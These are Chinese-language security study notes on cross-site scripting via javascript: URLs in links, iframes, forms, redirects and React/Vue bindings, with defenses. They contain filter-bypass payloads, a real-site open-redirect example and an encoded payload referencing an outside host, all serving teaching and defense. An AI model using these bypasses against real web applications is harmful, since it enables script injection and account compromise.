where
- href:
<a href=javascript:alert(1)>Link</a>
- iframe:
<iframe src=javascript:alert(1)></iframe>
- form的action
<form action=javascript:alert(1)>
<button>submit</button>
</form>
- button的formaction
<form id=f2>
</form>
<button form=f2 formaction=javascript:alert(2)>submit</button>
- windows.location
window.location = 'javascript:alert(1)'
例子1:插入youtube视频
如果網站上有個功能可以讓使用者在發文時填入 YouTube 影片網址,並且在文章中自動嵌入
<iframe src="<?= $youtube_url ?>" width="500" height="300">
</iframe>
javascript:alert(1);
- 绕过对youtube.com的检查:
javascript:alert(1);console.log('youtube.com')
- 防御:正確方式是檢查網址是否為 YouTube 影片的格式,並且要確保網址是以
https://
開頭
例子2:profile 頁面填入自己的 blog
后端代码
<a href="<?php echo htmlspecialchars($data) ?>">link</a>`
儘管把 <>";
都做了編碼,沒辦法新增標籤,也沒辦法跳脫雙引號新增屬性,但攻擊者依舊可以插入 javascript:alert(1)
,因為這裡面完全沒有任何不合法的字元。
例3:
<a href="<?php echo htmlspecialchars($data) ?>">link</a>
payload:
data=javascript:alert(1)
React
現在的前端框架基本上都會自動幫你做好跳脫,沒有在 React 裡面使用 dangerouslySetInnerHTML
或是在 Vue 裡面使用 v-html
的話,基本上都是沒什麼問題的,但是 href
就不同了,理由同上,它的內容是沒問題的。
import React from 'react';
export function App(props) {
// 假設底下的資料是來自於使用者
const href = 'javascript:alert(1)'
return (
<a href={href}>click me</a>
);
}
\ React 在 v16.9 的時候有針對這個行為新增警告,在文件裡面也有說明:Deprecating javascript: URLs,警告的內容是:
Warning: A future version of React will block javascript: URLs as a security precaution. Use event handlers instead if you can. If you need to generate unsafe HTML try using dangerouslySetInnerHTML instead.
在 React GitHub 的 issue 裡面也有更多的討論:
- React@16.9 block javascript:void(0); #16592
- False-positive security precaution warning (javascript: URLs) #16382
Vue
<script setup>
import { ref } from 'vue'
const link = ref('javascript:alert(1)')
</script>
<template>
<a :href="link">click me</a>
</template>
URL Injection
如果要在前端處理的話,有提到可以用 sanitize-url 這一套 library。
页面跳转
const searchParams = new URLSearchParams(location.search)
window.location = searchParams.get('redirect')
payload:
window.location = 'javascript:alert(document.domain)'
例子:
点击登录后会调用redirectToTarget
的 function:
/**
* Redirect to "?target=" or fallback URL with page reload.
*
* (works on CSR)
*/
export const redirectToTarget = ({
fallback = 'current',
}: {
fallback?: 'homepage' | 'current'
} = {}) => {
const fallbackTarget =
fallback === 'homepage'
? `/` // FIXME: to purge cache
: window.location.href
const target = getTarget() || fallbackTarget
window.location.href = decodeURIComponent(target)
}
在拿到 target 之後直接使用了:window.location.href = decodeURIComponent(target)
來做重新導向。而 getTarget
其實就是去 query string 把 target 的值拿出來。所以如果登入的網址是:https://matters.news/login?target=javascript:alert(1)
,在使用者按下登入並且成功之後,就會跳出一個 alert,觸發 XSS!
javascript
过滤
HTML 裡面的屬性內容是可以經過編碼的
<a href="javascript:alert(1)">click me</a>
<a href=JavaScript:alert(1)>clickme</a>
http://
验证
javascript:alert(http://)
javascript:alert@github.com/#://
编码:
javascript:alert%28%27Slonser%20was%20here%21%27%29%3B%2F%2F@github.com#;alert(10);://eow5kas78d0wlv0.m.pipedream.net%27
防御
- 使用sanitize-url
- 只允許
http://
跟https://
開頭的字串 - 利用 JavaScript 去解析 URL,根据 protocol 判斷是否為合法的協議,來阻擋名單之外的內容
console.log(new URL('javascript:alert(1)'))
/*
{
// ...
href: "javascript:alert(1)",
origin: "null",
pathname: "alert(1)",
protocol: "javascript:",
}
*/
target="_blank"
在Chrome 当你点了连结时,会新开一个网址为的about:blank#blocked
分页,在Firefox 会新开一个没有网址的分页,在Safari 则是什么事情都不会发生,在这三个桌面浏览器上都不会执行JavaScript。- 正则表达过滤
补充
而有个常见的错误判断方式一样会利用URL 来解析,但却是看hostname 或是origin 等等:
console.log(new URL('javascript:alert(1)'))
/*
{
// ...
hostname: "",
host: "",
origin: null
}
*/
当hostname
或是host
为空的时候,就代表是不合法的网址。这样的方式虽然乍看之下没问题,但我们可以利用//
在JavaScript 中是注解的特性,搭配换行字元来做出一个看起来像网址,但其实是javascript: 伪协议的字串:
console.log(new URL('javascript://huli.tw/%0aalert(1)'))
/*
{
// ...
hostname: "",
host: "",
origin: null
}
*/
虽然看起来很像网址,但是在Chrome 上面没有问题,不会误判,可是Safari 就不同了,同样的程式码在Safari 16.3 上面执行,输出结果是:
console.log(new URL('javascript://huli.tw/%0aalert(1)'))
/*
{
// ...
hostname: "huli.tw",
host: "huli.tw",
origin: "null"
}
*/
链接
The curious case of XSS and the mouse middle button.
Anchor Tag XSS Exploitation in Firefox with Target=”_blank”